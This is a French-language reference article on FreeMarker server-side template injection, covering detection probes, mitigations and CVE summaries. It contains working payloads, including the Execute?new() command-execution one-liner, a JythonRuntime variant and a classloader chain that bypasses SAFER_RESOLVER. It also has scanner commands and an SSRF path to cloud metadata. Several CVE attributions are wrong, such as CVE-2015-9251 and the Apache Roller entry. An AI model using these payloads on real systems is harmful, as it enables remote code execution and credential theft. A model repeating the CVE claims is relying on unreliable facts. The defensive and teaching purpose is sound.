Injection de template côté serveur dans Apache FreeMarker (Java) utilisant le builtin ?new() pour instancier et exécuter des classes Java arbitraires.
TL;DR
${7*7} → 49 ; ${.now} retourne un horodatage — confirme Freemarker (Velocity retourne le littéral)<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } — exécution OS directeALLOWS_NOTHING_RESOLVER + api_builtin_enabled=falsenew Template(userInput, cfg)Apache FreeMarker est un moteur de templates Java utilisé dans les produits Atlassian (Confluence, JIRA), JBoss/WildFly, JasperReports et les applications Spring MVC. La SSTI dans Freemarker se produit quand une entrée contrôlée par l'utilisateur est passée comme chaîne de template à new Template(userInput, cfg) ou rendue via StringTemplateLoader, plutôt qu'être passée comme variable de données à un template précompilé. La syntaxe ${...} fournit un accès direct au modèle objet Java, et le builtin ?new() permet l'instanciation de classes Java arbitraires par nom complet.
Le vecteur RCE principal est freemarker.template.utility.Execute — une classe utilitaire fournie avec Freemarker qui encapsule Runtime.exec() et l'expose comme méthode de template callable. Une seule directive FTL atteint le RCE : <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }. La classe ObjectConstructor fournit un second chemin, et JythonRuntime un troisième via l'exécution Python embarquée.
Le pattern de code Java vulnérable :
// VULNÉRABLE — l'entrée utilisateur est la SOURCE du template
Configuration cfg = new Configuration(Configuration.VERSION_2_3_33);
cfg.setDefaultEncoding("UTF-8");
String userTemplate = request.getParameter("template");
// Crée un template depuis une chaîne fournie par l'utilisateur — vecteur SSTI
Template tmpl = new Template("user_tpl", new StringReader(userTemplate), cfg);
StringWriter out = new StringWriter();
tmpl.process(dataModel, out);
return out.toString();L'attaquant soumet :
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }Réponse : uid=33(tomcat) gid=33(tomcat) groups=33(tomcat)
| Variante | Payload | Condition | Impact |
|---|---|---|---|
| Détection | ${7*7} | Tout Freemarker | Confirme → 49 |
| Fingerprint moteur | ${.now} | Freemarker | Retourne horodatage (pas Velocity) |
| Confirme directives | <#assign x=1>${x} | Freemarker | Confirme les directives FTL |
| RCE direct | <#assign ex="...Execute"?new()>${ex("id")} | Défaut / sans SAFER_RESOLVER | Exécution commande OS |
| ObjectConstructor | Chargement via classloader, instanciation ProcessBuilder | api_builtin_enabled=true | RCE ProcessBuilder |
| JythonRuntime | <#assign x="...JythonRuntime"?new()>${x("import os;os.system('id')")} | Jython sur classpath | RCE basé Python |
| Dump modèle de données | ${.data_model} | Contexte Freemarker | Exposer les données applicatives |
freemarker.template.utility.ObjectConstructor implémente TemplateMethodModel et accepte un nom de classe ainsi que des arguments de constructeur. Contrairement à Execute qui encapsule directement Runtime.exec(), ObjectConstructor fournit une fabrique d'objets Java générale — utile pour instancier ProcessBuilder, java.net.URL ou toute autre classe Java pour construire des chaînes d'attaque.
Quand SAFER_RESOLVER est actif, le builtin ?new() ne peut pas référencer ObjectConstructor directement par nom. Cependant, quand api_builtin_enabled=true, l'expression object?api expose l'API de réflexion Java de l'objet sous-jacent, permettant le chargement indirect de classes via le classloader :
<#-- Requiert api_builtin_enabled=true (non défaut dans 2.3.33+) -->
<#assign classloader=object?api.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectConstructor")>
<#assign dwf=owc?new()("freemarker.template.DefaultObjectWrapper")>
<#assign ec=dwf.newInstance(classloader.loadClass("java.lang.ProcessBuilder"),["id"])>
${ec.start()}Ce contournement charge ObjectConstructor indirectement via le classloader, contournant entièrement la blocklist de SAFER_RESOLVER. La chaîne utilise ensuite ObjectConstructor pour instancier ProcessBuilder avec la commande comme argument. La variante SSRF remplace ProcessBuilder par java.net.URL et appelle openStream() pour émettre des requêtes HTTP arbitraires vers des endpoints de métadonnées internes.
TemplateClassResolver gouverne quelles classes ?new() peut instancier. Trois niveaux intégrés existent :
| Résolveur | Comportement |
|---|---|
UNRESTRICTED_RESOLVER | Toutes classes autorisées — équivalent à aucun sandbox |
SAFER_RESOLVER | Bloque Execute, ObjectConstructor, JythonRuntime par nom de classe exact |
ALLOWS_NOTHING_RESOLVER | Bloque toute instanciation de classes via ?new() |
SAFER_RESOLVER est une liste de refus basée sur les noms, pas une liste d'autorisation. Toute classe absente de ses trois entrées de refus est instanciable. Contournement connu : une application avec des utilitaires de templates personnalisés (ex. com.exemple.ExecWrapper) absents de la liste de refus peut être chargée directement via ?new(). La posture sécurisée est ALLOWS_NOTHING_RESOLVER combiné à api_builtin_enabled=false, bloquant les chemins directs et via classloader.
Le correctif est cfg.setAPIBuiltinEnabled(false) qui bloque entièrement l'accès object?api, supprimant le pont classloader même quand SAFER_RESOLVER est actif.
CVE-2024-21683 — Atlassian Confluence Data Center (CVSS 8.3)
Confluence Data Center avant 8.9.0 permettait aux utilisateurs authentifiés d'injecter des macros Freemarker via la fonctionnalité "Ajouter des langues". Une macro contenant <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} s'exécutait avec les privilèges du compte de service Confluence. Patché dans Confluence 8.9.0+.
CVE-2021-25770 — TIBCO JasperReports Server (CVSS 9.8)
JasperReports Server jusqu'à 7.9.0 utilisait Freemarker pour rendre des templates de rapport incluant des paramètres contrôlés par l'utilisateur. Les utilisateurs authentifiés pouvaient injecter des directives Freemarker dans les champs de paramètres de rapport, atteignant le RCE en tant que processus du serveur applicatif.
CVE-2024-29133 — Apache Roller SSTI via chaîne OGNL + Freemarker
Apache Roller 6.1.4 et versions antérieures exposait un chemin de rendu Freemarker dans son système de templates de blog traitant les titres de pages et fragments de templates personnalisés fournis par l'utilisateur via le moteur Freemarker sans assainissement. Combiné à une injection OGNL dans la couche Struts2 sous-jacente (CVE-2024-29133, CVSS 9.8), les attaquants pouvaient enchaîner l'injection d'expression OGNL pour atteindre un contexte de rendu Freemarker et exécuter le gadget Execute. La vulnérabilité composée affectait les déploiements Apache Roller auto-hébergés — une plateforme de blog d'entreprise courante intégrée dans des portails intranet. Corrigé dans Apache Roller 6.1.5.
Pattern générateur de rapports entreprise — Pattern commun
Un pattern récurrent : une plateforme BI permet aux utilisateurs de créer des templates de rapport personnalisés avec des espaces réservés ${variable}. Le backend rend via Freemarker avec une configuration par défaut. Un utilisateur découvre que <#assign ex="freemarker.template.utility.Execute"?new()> fonctionne et atteint le RCE.
SAFER_RESOLVER bloque Execute, ObjectConstructor et JythonRuntime par nom de classe — mais pas le contournement via la chaîne object?api quand api_builtin_enabled=true. Toujours définir api_builtin_enabled=false avec SAFER_RESOLVER. Pour la sécurité maximale, utiliser ALLOWS_NOTHING_RESOLVER.
${7*7} — réponse 49 confirme l'évaluation ${}.${.now} — Freemarker retourne un horodatage ; Velocity retourne le littéral. Différenciateur définitif.<#assign x=1>${x} — si 1 est retourné, les directives FTL sont actives.${{<%[%'"}}%\ — Freemarker retourne freemarker.core.ParseException.# SSTImap — moteur Freemarker
sstimap -u "http://cible.com/rendu?template=*" --engine FreeMarker
# tplmap — référence legacy
tplmap.py -u "http://cible.com/rendu?template=*" --engine freemarker// VULNÉRABLE
Template t = new Template("user", new StringReader(userInput), cfg);
t.process(dataModel, out);
// SÉCURISÉ — template depuis le système de fichiers, entrée utilisateur comme variable
Configuration cfg = new Configuration(Configuration.VERSION_2_3_33);
cfg.setDirectoryForTemplateLoading(new File("/app/templates"));
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
Template t = cfg.getTemplate("rapport.ftl");
Map<String, Object> model = new HashMap<>();
model.put("nomUtilisateur", entreeAssainie);
t.process(model, out);La SSTI Freemarker se produit quand une entrée contrôlée par l'utilisateur est rendue comme chaîne de template Freemarker via new Template(userInput, cfg) ou un StringTemplateLoader. La syntaxe ${...} permet d'accéder aux objets Java, et le builtin ?new() instancie des classes Java arbitraires incluant Execute — conduisant au RCE.
Le builtin ?new() instancie des classes Java par nom complet. freemarker.template.utility.Execute implémente TemplateMethodModel et appelle Runtime.exec(). Le payload : <#assign ex='freemarker.template.utility.Execute'?new()>${ ex('id') } exécute des commandes OS arbitraires.
TemplateClassResolver.SAFER_RESOLVER bloque ?new() pour Execute, ObjectConstructor et JythonRuntime — les trois gadgets RCE principaux. Il ne bloque pas toute instanciation de classes. ALLOWS_NOTHING_RESOLVER bloque toute instanciation. Définir aussi api_builtin_enabled=false pour bloquer le contournement via object?api.
CVE-2024-21683 : SSTI Atlassian Confluence Data Center via macros de template (CVSS 8.3). CVE-2021-25770 : SSTI Freemarker JasperReports Server (CVSS 9.8). CVE-2015-9251 : Apache Freemarker < 2.3.24 exposait Execute par défaut. CVE-2025-54253 : injection OGNL Adobe AEM Forms (CVSS 10.0, CISA KEV) — pattern entreprise adjacent.
ObjectConstructor crée des instances Java arbitraires. La chaîne la charge via le classloader : <#assign oc=object?api.class.protectionDomain.classLoader.loadClass('freemarker.template.utility.ObjectConstructor')?new()> puis instancie ProcessBuilder. SAFER_RESOLVER bloque ObjectConstructor. Requiert api_builtin_enabled=true.
Soumettre ${.now} — Freemarker retourne un horodatage ; Velocity retourne la chaîne littérale '${.now}'. Tester aussi <#assign x=1>${x} — si 1 est retourné, les directives FTL Freemarker sont actives. Le polyglotte Korchagin retourne freemarker.core.ParseException pour Freemarker spécifiquement.
Utiliser cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER) pour la sécurité maximale, ou SAFER_RESOLVER pour bloquer les gadgets RCE connus. Définir cfg.setAPIBuiltinEnabled(false) pour bloquer le contournement via la chaîne object?api. Ne jamais utiliser StringTemplateLoader pour du contenu fourni par l'utilisateur.
Oui. Via ObjectConstructor ou l'accès au classloader, un attaquant peut instancier java.net.URL et appeler openStream() pour faire des requêtes HTTP vers des endpoints internes, incluant les services de métadonnées cloud (169.254.169.254). Cela crée une chaîne SSTI-vers-SSRF permettant le vol de credentials cloud.
Les applications Spring Boot utilisant StringTemplateLoader avec une entrée utilisateur comme source de template sont vulnérables. Le correctif utilise cfg.getTemplate('safe.ftl') depuis le système de fichiers et passe les données utilisateur comme variables du modèle de données, jamais comme source de template.
Quand api_builtin_enabled=true (non défaut), object?api expose l'API Java de l'objet, permettant l'accès au classloader de la classe. Via classloader.loadClass(), Execute et ObjectConstructor peuvent être chargés même quand SAFER_RESOLVER est actif. Définir api_builtin_enabled=false (défaut Freemarker 2.3.33+) ferme ce contournement.
Dans application.properties, utiliser spring.freemarker.template-loader-path=classpath:/templates/ pour charger depuis le classpath. Programmatiquement, définir new_builtin_class_resolver=safer et api_builtin_enabled=false dans les FreeMarkerConfigurationFactory settings. Ne jamais accepter de chaînes de template Freemarker depuis des utilisateurs non fiables.